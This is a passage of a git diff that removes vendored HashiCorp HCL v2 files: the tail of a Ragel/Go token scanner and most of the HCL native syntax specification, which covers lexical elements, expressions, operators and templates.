case it ensures that - # the first comment in the file ends at the first */, rather than - # gobbling up all of the "any*" until the _final_ */ in the file. - ("#" (any - EndOfLine)* :>> EndOfLine?) | - ("//" (any - EndOfLine)* :>> EndOfLine?) | - ("/*" any* :>> "*/") - ); - - # Note: hclwrite assumes that only ASCII spaces appear between tokens, - # and uses this assumption to recreate the spaces between tokens by - # looking at byte offset differences. This means it will produce - # incorrect results in the presence of tabs, but that's acceptable - # because the canonical style (which hclwrite itself can impose - # automatically is to never use tabs). - Spaces = (' ' | 0x09)+; - - action beginStringTemplate { - token(TokenOQuote); - fcall stringTemplate; - } - - action endStringTemplate { - token(TokenCQuote); - fret; - } - - action beginHeredocTemplate { - token(TokenOHeredoc); - // the token is currently the whole heredoc introducer, like - // < 0 { - heredocs[len(heredocs)-1].StartOfLine = false; - } - fcall main; - } - - action beginTemplateControl { - token(TokenTemplateControl); - braces++; - retBraces = append(retBraces, braces); - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false; - } - fcall main; - } - - action openBrace { - token(TokenOBrace); - braces++; - } - - action closeBrace { - if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { - token(TokenTemplateSeqEnd); - braces--; - retBraces = retBraces[0:len(retBraces)-1] - fret; - } else { - token(TokenCBrace); - braces--; - } - } - - action closeTemplateSeqEatWhitespace { - // Only consume from the retBraces stack and return if we are at - // a suitable brace nesting level, otherwise things will get - // confused. (Not entering this branch indicates a syntax error, - // which we will catch in the parser.) - if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { - token(TokenTemplateSeqEnd); - braces--; - retBraces = retBraces[0:len(retBraces)-1] - fret; - } else { - // We intentionally generate a TokenTemplateSeqEnd here, - // even though the user apparently wanted a brace, because - // we want to allow the parser to catch the incorrect use - // of a ~} to balance a generic opening brace, rather than - // a template sequence. - token(TokenTemplateSeqEnd); - braces--; - } - } - - TemplateInterp = "${" ("~")?; - TemplateControl = "%{" ("~")?; - EndStringTmpl = '"'; - NewlineChars = ("\r"|"\n"); - NewlineCharsSeq = NewlineChars+; - StringLiteralChars = (AnyUTF8 - NewlineChars); - TemplateIgnoredNonBrace = (^'{' %{ fhold; }); - TemplateNotInterp = '$' (TemplateIgnoredNonBrace | TemplateInterp); - TemplateNotControl = '%' (TemplateIgnoredNonBrace | TemplateControl); - QuotedStringLiteralWithEsc = ('\\' StringLiteralChars) | (StringLiteralChars - ("$" | '%' | '"' | "\\")); - TemplateStringLiteral = ( - (TemplateNotInterp) | - (TemplateNotControl) | - (QuotedStringLiteralWithEsc)+ - ); - HeredocStringLiteral = ( - (TemplateNotInterp) | - (TemplateNotControl) | - (StringLiteralChars - ("$" | '%'))* - ); - BareStringLiteral = ( - (TemplateNotInterp) | - (TemplateNotControl) | - (StringLiteralChars - ("$" | '%'))* - ) Newline?; - - stringTemplate := |* - TemplateInterp => beginTemplateInterp; - TemplateControl => beginTemplateControl; - EndStringTmpl => endStringTemplate; - TemplateStringLiteral => { token(TokenQuotedLit); }; - NewlineCharsSeq => { token(TokenQuotedNewline); }; - AnyUTF8 => { token(TokenInvalid); }; - BrokenUTF8 => { token(TokenBadUTF8); }; - *|; - - heredocTemplate := |* - TemplateInterp => beginTemplateInterp; - TemplateControl => beginTemplateControl; - HeredocStringLiteral EndOfLine => heredocLiteralEOL; - HeredocStringLiteral => heredocLiteralMidline; - BrokenUTF8 => { token(TokenBadUTF8); }; - *|; - - bareTemplate := |* - TemplateInterp => beginTemplateInterp; - TemplateControl => beginTemplateControl; - BareStringLiteral => bareTemplateLiteral; - BrokenUTF8 => { token(TokenBadUTF8); }; - *|; - - identOnly := |* - Ident => { token(TokenIdent) }; - BrokenUTF8 => { token(TokenBadUTF8) }; - AnyUTF8 => { token(TokenInvalid) }; - *|; - - main := |* - Spaces => {}; - NumberLit => { token(TokenNumberLit) }; - Ident => { token(TokenIdent) }; - - Comment => { token(TokenComment) }; - Newline => { token(TokenNewline) }; - - EqualOp => { token(TokenEqualOp); }; - NotEqual => { token(TokenNotEqual); }; - GreaterThanEqual => { token(TokenGreaterThanEq); }; - LessThanEqual => { token(TokenLessThanEq); }; - LogicalAnd => { token(TokenAnd); }; - LogicalOr => { token(TokenOr); }; - Ellipsis => { token(TokenEllipsis); }; - FatArrow => { token(TokenFatArrow); }; - SelfToken => { selfToken() }; - - "{" => openBrace; - "}" => closeBrace; - - "~}" => closeTemplateSeqEatWhitespace; - - BeginStringTmpl => beginStringTemplate; - BeginHeredocTmpl => beginHeredocTemplate; - - BrokenUTF8 => { token(TokenBadUTF8) }; - AnyUTF8 => { token(TokenInvalid) }; - *|; - - }%% - - // Ragel state - p := 0 // "Pointer" into data - pe := len(data) // End-of-data "pointer" - ts := 0 - te := 0 - act := 0 - eof := pe - var stack []int - var top int - - var cs int // current state - switch mode { - case scanNormal: - cs = hcltok_en_main - case scanTemplate: - cs = hcltok_en_bareTemplate - case scanIdentOnly: - cs = hcltok_en_identOnly - default: - panic("invalid scanMode") - } - - braces := 0 - var retBraces []int // stack of brace levels that cause us to use fret - var heredocs []heredocInProgress // stack of heredocs we're currently processing - - %%{ - prepush { - stack = append(stack, 0); - } - postpop { - stack = stack[:len(stack)-1]; - } - }%% - - // Make Go compiler happy - _ = ts - _ = te - _ = act - _ = eof - - token := func (ty TokenType) { - f.emitToken(ty, ts, te) - } - selfToken := func () { - b := data[ts:te] - if len(b) != 1 { - // should never happen - panic("selfToken only works for single-character tokens") - } - f.emitToken(TokenType(b[0]), ts, te) - } - - %%{ - write init nocs; - write exec; - }%% - - // If we fall out here without being in a final state then we've - // encountered something that the scanner can't match, which we'll - // deal with as an invalid. - if cs < hcltok_first_final { - if mode == scanTemplate && len(stack) == 0 { - // If we're scanning a bare template then any straggling - // top-level stuff is actually literal string, rather than - // invalid. This handles the case where the template ends - // with a single "$" or "%", which trips us up because we - // want to see another character to decide if it's a sequence - // or an escape. - f.emitToken(TokenStringLit, ts, len(data)) - } else { - f.emitToken(TokenInvalid, ts, len(data)) - } - } - - // We always emit a synthetic EOF token at the end, since it gives the - // parser position information for an "unexpected EOF" diagnostic. - f.emitToken(TokenEOF, len(data), len(data)) - - return f.Tokens -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/spec.md b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/spec.md deleted file mode 100644 index 550bd93adf..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/spec.md +++ /dev/null @@ -1,941 +0,0 @@ -# HCL Native Syntax Specification - -This is the specification of the syntax and semantics of the native syntax -for HCL. HCL is a system for defining configuration languages for applications. -The HCL information model is designed to support multiple concrete syntaxes -for configuration, but this native syntax is considered the primary format -and is optimized for human authoring and maintenance, as opposed to machine -generation of configuration. - -The language consists of three integrated sub-languages: - -- The _structural_ language defines the overall hierarchical configuration - structure, and is a serialization of HCL bodies, blocks and attributes. - -- The _expression_ language is used to express attribute values, either as - literals or as derivations of other values. - -- The _template_ language is used to compose values together into strings, - as one of several types of expression in the expression language. - -In normal use these three sub-languages are used together within configuration -files to describe an overall configuration, with the structural language -being used at the top level. The expression and template languages can also -be used in isolation, to implement features such as REPLs, debuggers, and -integration into more limited HCL syntaxes such as the JSON profile. - -## Syntax Notation - -Within this specification a semi-formal notation is used to illustrate the -details of syntax. This notation is intended for human consumption rather -than machine consumption, with the following conventions: - -- A naked name starting with an uppercase letter is a global production, - common to all of the syntax specifications in this document. -- A naked name starting with a lowercase letter is a local production, - meaningful only within the specification where it is defined. -- Double and single quotes (`"` and `'`) are used to mark literal character - sequences, which may be either punctuation markers or keywords. -- The default operator for combining items, which has no punctuation, - is concatenation. -- The symbol `|` indicates that any one of its left and right operands may - be present. -- The `*` symbol indicates zero or more repetitions of the item to its left. -- The `?` symbol indicates zero or one of the item to its left. -- Parentheses (`(` and `)`) are used to group items together to apply - the `|`, `*` and `?` operators to them collectively. - -The grammar notation does not fully describe the language. The prose may -augment or conflict with the illustrated grammar. In case of conflict, prose -has priority. - -## Source Code Representation - -Source code is unicode text expressed in the UTF-8 encoding. The language -itself does not perform unicode normalization, so syntax features such as -identifiers are sequences of unicode code points and so e.g. a precombined -accented character is distinct from a letter associated with a combining -accent. (String literals have some special handling with regard to Unicode -normalization which will be covered later in the relevant section.) - -UTF-8 encoded Unicode byte order marks are not permitted. Invalid or -non-normalized UTF-8 encoding is always a parse error. - -## Lexical Elements - -### Comments and Whitespace - -Comments and Whitespace are recognized as lexical elements but are ignored -except as described below. - -Whitespace is defined as a sequence of zero or more space characters -(U+0020). Newline sequences (either U+000A or U+000D followed by U+000A) -are _not_ considered whitespace but are ignored as such in certain contexts. -Horizontal tab characters (U+0009) are also treated as whitespace, but are -counted only as one "column" for the purpose of reporting source positions. - -Comments serve as program documentation and come in two forms: - -- _Line comments_ start with either the `//` or `#` sequences and end with - the next newline sequence. A line comment is considered equivalent to a - newline sequence. - -- _Inline comments_ start with the `/*` sequence and end with the `*/` - sequence, and may have any characters within except the ending sequence. - An inline comments is considered equivalent to a whitespace sequence. - -Comments and whitespace cannot begin within within other comments, or within -template literals except inside an interpolation sequence or template directive. - -### Identifiers - -Identifiers name entities such as blocks, attributes and expression variables. -Identifiers are interpreted as per [UAX #31][uax31] Section 2. Specifically, -their syntax is defined in terms of the `ID_Start` and `ID_Continue` -character properties as follows: - -```ebnf -Identifier = ID_Start (ID_Continue | '-')*; -``` - -The Unicode specification provides the normative requirements for identifier -parsing. Non-normatively, the spirit of this specification is that `ID_Start` -consists of Unicode letter and certain unambiguous punctuation tokens, while -`ID_Continue` augments that set with Unicode digits, combining marks, etc. - -The dash character `-` is additionally allowed in identifiers, even though -that is not part of the unicode `ID_Continue` definition. This is to allow -attribute names and block type names to contain dashes, although underscores -as word separators are considered the idiomatic usage. - -[uax31]: http://unicode.org/reports/tr31/ "Unicode Identifier and Pattern Syntax" - -### Keywords - -There are no globally-reserved words, but in some contexts certain identifiers -are reserved to function as keywords. These are discussed further in the -relevant documentation sections that follow. In such situations, the -identifier's role as a keyword supersedes any other valid interpretation that -may be possible. Outside of these specific situations, the keywords have no -special meaning and are interpreted as regular identifiers. - -### Operators and Delimiters - -The following character sequences represent operators, delimiters, and other -special tokens: - -``` -+ && == < : { [ ( ${ -- || != > ? } ] ) %{ -* ! <= = . -/ >= => , -% ... -``` - -### Numeric Literals - -A numeric literal is a decimal representation of a -real number. It has an integer part, a fractional part, -and an exponent part. - -```ebnf -NumericLit = decimal+ ("." decimal+)? (expmark decimal+)?; -decimal = '0' .. '9'; -expmark = ('e' | 'E') ("+" | "-")?; -``` - -## Structural Elements - -The structural language consists of syntax representing the following -constructs: - -- _Attributes_, which assign a value to a specified name. -- _Blocks_, which create a child body annotated by a type and optional labels. -- _Body Content_, which consists of a collection of attributes and blocks. - -These constructs correspond to the similarly-named concepts in the -language-agnostic HCL information model. - -```ebnf -ConfigFile = Body; -Body = (Attribute | Block | OneLineBlock)*; -Attribute = Identifier "=" Expression Newline; -Block = Identifier (StringLit|Identifier)* "{" Newline Body "}" Newline; -OneLineBlock = Identifier (StringLit|Identifier)* "{" (Identifier "=" Expression)? "}" Newline; -``` - -### Configuration Files - -A _configuration file_ is a sequence of characters whose top-level is -interpreted as a Body. - -### Bodies - -A _body_ is a collection of associated attributes and blocks. The meaning of -this association is defined by the calling application. - -### Attribute Definitions - -An _attribute definition_ assigns a value to a particular attribute name within -a body. Each distinct attribute name may be defined no more than once within a -single body. - -The attribute value is given as an expression, which is retained literally -for later evaluation by the calling application. - -### Blocks - -A _block_ creates a child body that is annotated with a block _type_ and -zero or more block _labels_. Blocks create a structural hierarchy which can be -interpreted by the calling application. - -Block labels can either be quoted literal strings or naked identifiers. - -## Expressions - -The expression sub-language is used within attribute definitions to specify -values. - -```ebnf -Expression = ( - ExprTerm | - Operation | - Conditional -); -``` - -### Types - -The value types used within the expression language are those defined by the -syntax-agnostic HCL information model. An expression may return any valid -type, but only a subset of the available types have first-class syntax. -A calling application may make other types available via _variables_ and -_functions_. - -### Expression Terms - -Expression _terms_ are the operands for unary and binary expressions, as well -as acting as expressions in their own right. - -```ebnf -ExprTerm = ( - LiteralValue | - CollectionValue | - TemplateExpr | - VariableExpr | - FunctionCall | - ForExpr | - ExprTerm Index | - ExprTerm GetAttr | - ExprTerm Splat | - "(" Expression ")" -); -``` - -The productions for these different term types are given in their corresponding -sections. - -Between the `(` and `)` characters denoting a sub-expression, newline -characters are ignored as whitespace. - -### Literal Values - -A _literal value_ immediately represents a particular value of a primitive -type. - -```ebnf -LiteralValue = ( - NumericLit | - "true" | - "false" | - "null" -); -``` - -- Numeric literals represent values of type _number_. -- The `true` and `false` keywords represent values of type _bool_. -- The `null` keyword represents a null value of the dynamic pseudo-type. - -String literals are not directly available in the expression sub-language, but -are available via the template sub-language, which can in turn be incorporated -via _template expressions_. - -### Collection Values - -A _collection value_ combines zero or more other expressions to produce a -collection value. - -```ebnf -CollectionValue = tuple | object; -tuple = "[" ( - (Expression ("," Expression)* ","?)? -) "]"; -object = "{" ( - (objectelem ("," objectelem)* ","?)? -) "}"; -objectelem = (Identifier | Expression) ("=" | ":") Expression; -``` - -Only tuple and object values can be directly constructed via native syntax. -Tuple and object values can in turn be converted to list, set and map values -with other operations, which behaves as defined by the syntax-agnostic HCL -information model. - -When specifying an object element, an identifier is interpreted as a literal -attribute name as opposed to a variable reference. To populate an item key -from a variable, use parentheses to disambiguate: - -- `{foo = "baz"}` is interpreted as an attribute literally named `foo`. -- `{(foo) = "baz"}` is interpreted as an attribute whose name is taken - from the variable named `foo`. - -Between the open and closing delimiters of these sequences, newline sequences -are ignored as whitespace. - -There is a syntax ambiguity between _for expressions_ and collection values -whose first element is a reference to a variable named `for`. The -_for expression_ interpretation has priority, so to produce a tuple whose -first element is the value of a variable named `for`, or an object with a -key named `for`, use parentheses to disambiguate: - -- `[for, foo, baz]` is a syntax error. -- `[(for), foo, baz]` is a tuple whose first element is the value of variable - `for`. -- `{for: 1, baz: 2}` is a syntax error. -- `{(for): 1, baz: 2}` is an object with an attribute literally named `for`. -- `{baz: 2, for: 1}` is equivalent to the previous example, and resolves the - ambiguity by reordering. - -### Template Expressions - -A _template expression_ embeds a program written in the template sub-language -as an expression. Template expressions come in two forms: - -- A _quoted_ template expression is delimited by quote characters (`"`) and - defines a template as a single-line expression with escape characters. -- A _heredoc_ template expression is introduced by a `<<` sequence and - defines a template via a multi-line sequence terminated by a user-chosen - delimiter. - -In both cases the template interpolation and directive syntax is available for -use within the delimiters, and any text outside of these special sequences is -interpreted as a literal string. - -In _quoted_ template expressions any literal string sequences within the -template behave in a special way: literal newline sequences are not permitted -and instead _escape sequences_ can be included, starting with the -backslash `\`: - -``` - \n Unicode newline control character - \r Unicode carriage return control character - \t Unicode tab control character - \" Literal quote mark, used to prevent interpretation as end of string - \\ Literal backslash, used to prevent interpretation as escape sequence - \uNNNN Unicode character from Basic Multilingual Plane (NNNN is four hexadecimal digits) - \UNNNNNNNN Unicode character from supplementary planes (NNNNNNNN is eight hexadecimal digits) -``` - -The _heredoc_ template expression type is introduced by either `<<` or `<<-`, -followed by an identifier. The template expression ends when the given -identifier subsequently appears again on a line of its own. - -If a heredoc template is introduced with the `<<-` symbol, any literal string -at the start of each line is analyzed to find the minimum number of leading -spaces, and then that number of prefix spaces is removed from all line-leading -literal strings. The final closing marker may also have an arbitrary number -of spaces preceding it on its line. - -```ebnf -TemplateExpr = quotedTemplate | heredocTemplate; -quotedTemplate = (as defined in prose above); -heredocTemplate = ( - ("<<" | "<<-") Identifier Newline - (content as defined in prose above) - Identifier Newline -); -``` - -A quoted template expression containing only a single literal string serves -as a syntax for defining literal string _expressions_. In certain contexts -the template syntax is restricted in this manner: - -```ebnf -StringLit = '"' (quoted literals as defined in prose above) '"'; -``` - -The `StringLit` production permits the escape sequences discussed for quoted -template expressions as above, but does _not_ permit template interpolation -or directive sequences. - -### Variables and Variable Expressions - -A _variable_ is a value that has been assigned a symbolic name. Variables are -made available for use in expressions by the calling application, by populating -the _global scope_ used for expression evaluation. - -Variables can also be created by expressions themselves, which always creates -a _child scope_ that incorporates the variables from its parent scope but -(re-)defines zero or more names with new values. - -The value of a variable is accessed using a _variable expression_, which is -a standalone `Identifier` whose name corresponds to a defined variable: - -```ebnf -VariableExpr = Identifier; -``` - -Variables in a particular scope are immutable, but child scopes may _hide_ -a variable from an ancestor scope by defining a new variable of the same name. -When looking up variables, the most locally-defined variable of the given name -is used, and ancestor-scoped variables of the same name cannot be accessed. - -No direct syntax is provided for declaring or assigning variables, but other -expression constructs implicitly create child scopes and define variables as -part of their evaluation. - -### Functions and Function Calls - -A _function_ is an operation that has been assigned a symbolic name. Functions -are made available for use in expressions by the calling application, by -populating the _function table_ used for expression evaluation. - -The namespace of functions is distinct from the namespace of variables. A -function and a variable may share the same name with no implication that they -are in any way related. - -A function can be executed via a _function call_ expression: - -```ebnf -FunctionCall = Identifier "(" arguments ")"; -Arguments = ( - () || - (Expression ("," Expression)* ("," | "...")?) -); -``` - -The definition of functions and the semantics of calling them are defined by -the language-agnostic HCL information model. The given arguments are mapped -onto the function's _parameters_ and the result of a function call expression -is the return value of the named function when given those arguments. - -If the final argument expression is followed by the ellipsis symbol (`...`), -the final argument expression must evaluate to either a list or tuple value. -The elements of the value are each mapped to a single parameter of the -named function, beginning at the first parameter remaining after all other -argument expressions have been mapped. - -Within the parentheses that delimit the function arguments, newline sequences -are ignored as whitespace. - -### For Expressions - -A _for expression_ is a construct for constructing a collection by projecting -the items from another collection. - -```ebnf -ForExpr = forTupleExpr | forObjectExpr; -forTupleExpr = "[" forIntro Expression forCond? "]"; -forObjectExpr = "{" forIntro Expression "=>" Expression "..."? forCond? "}"; -forIntro = "for" Identifier ("," Identifier)? "in" Expression ":"; -forCond = "if" Expression; -``` - -The punctuation used to delimit a for expression decide whether it will produce -a tuple value (`[` and `]`) or an object value (`{` and `}`). - -The "introduction" is equivalent in both cases: the keyword `for` followed by -either one or two identifiers separated by a comma which define the temporary -variable names used for iteration, followed by the keyword `in` and then -an expression that must evaluate to a value that can be iterated. The -introduction is then terminated by the colon (`:`) symbol. - -If only one identifier is provided, it is the name of a variable that will -be temporarily assigned the value of each element during iteration. If both -are provided, the first is the key and the second is the value. - -Tuple, object, list, map, and set types are iterable. The type of collection -used defines how the key and value variables are populated: - -- For tuple and list types, the _key_ is the zero-based index into the - sequence for each element, and the _value_ is the element value. The - elements are visited in index order. -- For object and map types, the _key_ is the string attribute name or element - key, and the _value_ is the attribute or element value. The elements are - visited in the order defined by a lexicographic sort of the attribute names - or keys. -- For set types, the _key_ and _value_ are both the element value. The elements - are visited in an undefined but consistent order. - -The expression after the colon and (in the case of object `for`) the expression -after the `=>` are both evaluated once for each element of the source -collection, in a local scope that defines the key and value variable names -specified. - -The results of evaluating these expressions for each input element are used -to populate an element in the new collection. In the case of tuple `for`, the -single expression becomes an element, appending values to the tuple in visit -order. In the case of object `for`, the pair of expressions is used as an -attribute name and value respectively, creating an element in the resulting -object. - -In the case of object `for`, it is an error if two input elements produce -the same result from the attribute name expression, since duplicate -attributes are not possible. If the ellipsis symbol (`...`) appears -immediately after the value expression, this activates the grouping mode in -which each value in the resulting object is a _tuple_ of all of the values -that were produced against each distinct key. - -- `[for v in ["a", "b"]: v]` returns `["a", "b"]`. -- `[for i, v in ["a", "b"]: i]` returns `[0, 1]`. -- `{for i, v in ["a", "b"]: v => i}` returns `{a = 0, b = 1}`. -- `{for i, v in ["a", "a", "b"]: k => v}` produces an error, because attribute - `a` is defined twice. -- `{for i, v in ["a", "a", "b"]: v => i...}` returns `{a = [0, 1], b = [2]}`. - -If the `if` keyword is used after the element expression(s), it applies an -additional predicate that can be used to conditionally filter elements from -the source collection from consideration. The expression following `if` is -evaluated once for each source element, in the same scope used for the -element expression(s). It must evaluate to a boolean value; if `true`, the -element will be evaluated as normal, while if `false` the element will be -skipped. - -- `[for i, v in ["a", "b", "c"]: v if i < 2]` returns `["a", "b"]`. - -If the collection value, element expression(s) or condition expression return -unknown values that are otherwise type-valid, the result is a value of the -dynamic pseudo-type. - -### Index Operator - -The _index_ operator returns the value of a single element of a collection -value. It is a postfix operator and can be applied to any value that has -a tuple, object, map, or list type. - -```ebnf -Index = "[" Expression "]"; -``` - -The expression delimited by the brackets is the _key_ by which an element -will be looked up. - -If the index operator is applied to a value of tuple or list type, the -key expression must be an non-negative integer number representing the -zero-based element index to access. If applied to a value of object or map -type, the key expression must be a string representing the attribute name -or element key. If the given key value is not of the appropriate type, a -conversion is attempted using the conversion rules from the HCL -syntax-agnostic information model. - -An error is produced if the given key expression does not correspond to -an element in the collection, either because it is of an unconvertable type, -because it is outside the range of elements for a tuple or list, or because -the given attribute or key does not exist. - -If either the collection or the key are an unknown value of an -otherwise-suitable type, the return value is an unknown value whose type -matches what type would be returned given known values, or a value of the -dynamic pseudo-type if type information alone cannot determine a suitable -return type. - -Within the brackets that delimit the index key, newline sequences are ignored -as whitespace. - -The HCL native syntax also includes a _legacy_ index operator that exists -only for compatibility with the precursor language HIL: - -```ebnf -LegacyIndex = '.' digit+ -``` - -This legacy index operator must be supported by parser for compatibility but -should not be used in new configurations. This allows an attribute-access-like -syntax for indexing, must still be interpreted as an index operation rather -than attribute access. - -The legacy syntax does not support chaining of index operations, like -`foo.0.0.bar`, because the interpretation of `0.0` as a number literal token -takes priority and thus renders the resulting sequence invalid. - -### Attribute Access Operator - -The _attribute access_ operator returns the value of a single attribute in -an object value. It is a postfix operator and can be applied to any value -that has an object type. - -```ebnf -GetAttr = "." Identifier; -``` - -The given identifier is interpreted as the name of the attribute to access. -An error is produced if the object to which the operator is applied does not -have an attribute with the given name. - -If the object is an unknown value of a type that has the attribute named, the -result is an unknown value of the attribute's type. - -### Splat Operators - -The _splat operators_ allow convenient access to attributes or elements of -elements in a tuple, list, or set value. - -There are two kinds of "splat" operator: - -- The _attribute-only_ splat operator supports only attribute lookups into - the elements from a list, but supports an arbitrary number of them. - -- The _full_ splat operator additionally supports indexing into the elements - from a list, and allows any combination of attribute access and index - operations. - -```ebnf -Splat = attrSplat | fullSplat; -attrSplat = "." "*" GetAttr*; -fullSplat = "[" "*" "]" (GetAttr | Index)*; -``` - -The splat operators can be thought of as shorthands for common operations that -could otherwise be performed using _for expressions_: - -- `tuple.*.foo.bar[0]` is approximately equivalent to - `[for v in tuple: v.foo.bar][0]`. -- `tuple[*].foo.bar[0]` is approximately equivalent to - `[for v in tuple: v.foo.bar[0]]` - -Note the difference in how the trailing index operator is interpreted in -each case. This different interpretation is the key difference between the -_attribute-only_ and _full_ splat operators. - -Splat operators have one additional behavior compared to the equivalent -_for expressions_ shown above: if a splat operator is applied to a value that -is _not_ of tuple, list, or set type, the value is coerced automatically into -a single-value list of the value type: - -- `any_object.*.id` is equivalent to `[any_object.id]`, assuming that `any_object` - is a single object. -- `any_number.*` is equivalent to `[any_number]`, assuming that `any_number` - is a single number. - -If applied to a null value that is not tuple, list, or set, the result is always -an empty tuple, which allows conveniently converting a possibly-null scalar -value into a tuple of zero or one elements. It is illegal to apply a splat -operator to a null value of tuple, list, or set type. - -### Operations - -Operations apply a particular operator to either one or two expression terms. - -```ebnf -Operation = unaryOp | binaryOp; -unaryOp = ("-" | "!") ExprTerm; -binaryOp = ExprTerm binaryOperator ExprTerm; -binaryOperator = compareOperator | arithmeticOperator | logicOperator; -compareOperator = "==" | "!=" | "<" | ">" | "<=" | ">="; -arithmeticOperator = "+" | "-" | "*" | "/" | "%"; -logicOperator = "&&" | "||" | "!"; -``` - -The unary operators have the highest precedence. - -The binary operators are grouped into the following precedence levels: - -``` -Level Operators - 6 * / % - 5 + - - 4 > >= < <= - 3 == != - 2 && - 1 || -``` - -Higher values of "level" bind tighter. Operators within the same precedence -level have left-to-right associativity. For example, `x / y * z` is equivalent -to `(x / y) * z`. - -### Comparison Operators - -Comparison operators always produce boolean values, as a result of testing -the relationship between two values. - -The two equality operators apply to values of any type: - -``` -a == b equal -a != b not equal -``` - -Two values are equal if the are of identical types and their values are -equal as defined in the HCL syntax-agnostic information model. The equality -operators are commutative and opposite, such that `(a == b) == !(a != b)` -and `(a == b) == (b == a)` for all values `a` and `b`. - -The four numeric comparison operators apply only to numbers: - -``` -a < b less than -a <= b less than or equal to -a > b greater than -a >= b greater than or equal to -``` - -If either operand of a comparison operator is a correctly-typed unknown value -or a value of the dynamic pseudo-type, the result is an unknown boolean. - -### Arithmetic Operators - -Arithmetic operators apply only to number values and always produce number -values as results. - -``` -a + b sum (addition) -a - b difference (subtraction) -a * b product (multiplication) -a / b quotient (division) -a % b remainder (modulo) --a negation -``` - -Arithmetic operations are considered to be performed in an arbitrary-precision -number space. - -If either operand of an arithmetic operator is an unknown number or a value -of the dynamic pseudo-type, the result is an unknown number. - -### Logic Operators - -Logic operators apply only to boolean values and always produce boolean values -as results. - -``` -a && b logical AND -a || b logical OR -!a logical NOT -``` - -If either operand of a logic operator is an unknown bool value or a value -of the dynamic pseudo-type, the result is an unknown bool value. - -### Conditional Operator - -The conditional operator allows selecting from one of two expressions based on -the outcome of a boolean expression. - -```ebnf -Conditional = Expression "?" Expression ":" Expression; -``` - -The first expression is the _predicate_, which is evaluated and must produce -a boolean result. If the predicate value is `true`, the result of the second -expression is the result of the conditional. If the predicate value is -`false`, the result of the third expression is the result of the conditional. - -The second and third expressions must be of the same type or must be able to -unify into a common type using the type unification rules defined in the -HCL syntax-agnostic information model. This unified type is the result type -of the conditional, with both expressions converted as necessary to the -unified type. - -If the predicate is an unknown boolean value or a value of the dynamic -pseudo-type then the result is an unknown value of the unified type of the -other two expressions. - -If either the second or third expressions produce errors when evaluated, -these errors are passed through only if the erroneous expression is selected. -This allows for expressions such as -`length(some_list) > 0 ? some_list[0] : default` (given some suitable `length` -function) without producing an error when the predicate is `false`. - -## Templates - -The template sub-language is used within template expressions to concisely -combine strings and other values to produce other strings. It can also be -used in isolation as a standalone template language. - -```ebnf -Template = ( - TemplateLiteral | - TemplateInterpolation | - TemplateDirective -)* -TemplateDirective = TemplateIf | TemplateFor; -``` - -A template behaves like an expression that always returns a string value. -The different elements of the template are evaluated and combined into a -single string to return. If any of the elements produce an unknown string -or a value of the dynamic pseudo-type, the result is an unknown string. - -An important use-case for standalone templates is to enable the use of -expressions in alternative HCL syntaxes where a native expression grammar is -not available. For example, the HCL JSON profile treats the values of JSON -strings as standalone templates when attributes are evaluated in expression -mode. - -### Template Literals - -A template literal is a literal sequence of characters to include in the -resulting string. When the template sub-language is used standalone, a -template literal can contain any unicode character, with the exception -of the sequences that introduce interpolations and directives, and for the -sequences that escape those introductions. - -The interpolation and directive introductions are escaped by doubling their -leading characters. The `${` sequence is escaped as `$${` and the `%{` -sequence is escaped as `%%{`. - -When the template sub-language is embedded in the expression language via -_template expressions_, additional constraints and transforms are applied to -template literals as described in the definition of template expressions. - -The value of a template literal can be modified by _strip markers_ in any -interpolations or directives that are adjacent to it. A strip marker is -a tilde (`~`) placed immediately after the opening `{` or before the closing -`}` of a template sequence: - -- `hello ${~ "world" }` produces `"helloworld"`. -- `%{ if true ~} hello %{~ endif }` produces `"hello"`. - -When a strip marker is present, any spaces adjacent to it in the corresponding -string literal (if any) are removed before producing the final value. Space -characters are interpreted as per Unicode's definition. - -Stripping is done at syntax level rather than value level. Values returned -by interpolations or directives are not subject to stripping: - -- `${"hello" ~}${" world"}` produces `"hello world"`, and not `"helloworld"`, - because the space is not in a template literal directly adjacent to the - strip marker. - -### Template Interpolations - -An _interpolation sequence_ evaluates an expression (written in the -expression sub-language), converts the result to a string value, and -replaces itself with the resulting string. - -```ebnf -TemplateInterpolation = ("${" | "${~") Expression ("}" | "~}"; -``` - -If the expression result cannot be converted to a string, an error is -produced. - -### Template If Directive - -The template `if` directive is the template equivalent of the -_conditional expression_, allowing selection of one of two sub-templates based -on the value of a predicate expression. - -```ebnf -TemplateIf = ( - ("%{" | "%{~") "if" Expression ("}" | "~}") - Template - ( - ("%{" | "%{~") "else" ("}" | "~}") - Template - )? - ("%{" | "%{~") "endif" ("}" | "~}") -); -``` - -The evaluation of the `if` directive is equivalent to the conditional -expression, with the following exceptions: - -- The two sub-templates always produce strings, and thus the result value is - also always a string. -- The `else` clause may be omitted, in which case the conditional's third - expression result is implied to be the empty string. - -### Template For Directive - -The template `for` directive is the template equivalent of the _for expression_, -producing zero or more copies of its sub-template based on the elements of -a collection. - -```ebnf -TemplateFor = ( - ("%{" | "%{~") "for" Identifier ("," Identifier) "in" Expression ("}" | "~}") - Template - ("%{" | "%{~") "endfor" ("}" | "~}") -); -``` - -The evaluation of the `for` directive is equivalent to the _for expression_ -when producing a tuple, with the following exceptions: - -- The sub-template always produces a string. -- There is no equivalent of the "if" clause on the for expression. -- The elements of the resulting tuple are all converted to strings and - concatenated to produce a flat string result. - -### Template Interpolation Unwrapping - -As a special case, a template that consists only of a single interpolation, -with no surrounding literals, directives or other interpolations, is -"unwrapped". In this case, the result of the interpolation expression is -returned verbatim, without conversion to string. - -This special case exists primarily to enable the native template language -to be used inside strings in alternative HCL syntaxes that lack a first-class -template or expression syntax. Unwrapping allows arbitrary expressions to be -used to populate attributes when strings in such languages are interpreted -as templates. - -- `${true}` produces the boolean value `true` -- `${"${true}"}` produces the boolean value `true`, because both the inner - and outer interpolations are subject to unwrapping. -- `hello ${true}` produces the string `"hello true"` -- `${""}${true}` produces the string `"true"` because there are two - interpolation sequences, even though one produces an empty result. -- `%{ for v in [true] }${v}%{ endif }` produces the string `true` because - the presence of the `for` directive circumvents the unwrapping even though - the final result is a single value. - -In some contexts this unwrapping behavior may be circumvented by the calling -application, by converting the final template result to string. This is -necessary, for example, if a standalone template is being used to produce -the direct contents of a file, since the result in that case must always be a -string. - -## 